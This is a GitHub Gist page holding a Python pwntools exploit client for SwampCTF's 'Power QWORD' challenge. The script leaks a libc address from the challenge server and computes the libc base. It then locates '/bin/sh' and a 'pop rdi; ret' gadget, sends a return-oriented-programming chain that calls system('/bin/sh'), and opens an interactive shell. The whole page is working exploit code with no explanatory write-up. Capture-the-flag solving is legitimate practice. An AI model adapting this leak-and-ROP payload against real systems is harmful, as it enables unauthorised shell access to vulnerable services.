Created
April 2, 2018 08:30
-
-
Save vitapluvia/938b1f65289f84553b6863c37cf4b0bb to your computer and use it in GitHub Desktop.
Client for SwampCTF's Power QWORD challenge
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import os | |
| from pwn import * | |
| from pwnlib.util.safeeval import const | |
| libc = ELF('./libc.so.6') | |
| context(terminal = ['tmux', 'splitw']) | |
| context.bits = 64 | |
| if (args.DEBUG): | |
| r = process('power') | |
| gdb.attach(r, 'c') | |
| else: | |
| r = remote('chal1.swampctf.com', 1999) | |
| def main(): | |
| print(r.recvuntil(': ')) | |
| r.send('yes\n') | |
| print r.recvuntil('the mage hands you') | |
| leak = r.recvuntil(']').lstrip(' ').rstrip(']') | |
| print r.recvuntil('QWord:') | |
| system = const(leak) | |
| base = system - libc.symbols['__libc_system'] | |
| gets = base + libc.symbols['_IO_gets'] | |
| binsh = base + libc.search('/bin/sh').next() | |
| pop_rdi = base + libc.search(asm('pop rdi; ret;')).next() | |
| print 'base: {}'.format(hex(base)) | |
| print 'pop rdi: {}'.format(hex(pop_rdi)) | |
| print 'system: {}'.format(hex(system)) | |
| print '/bin/sh: {}'.format(hex(binsh)) | |
| payload = p64(gets) + p64(pop_rdi) + p64(binsh) + p64(system) | |
| r.sendline(payload) | |
| r.interactive() | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment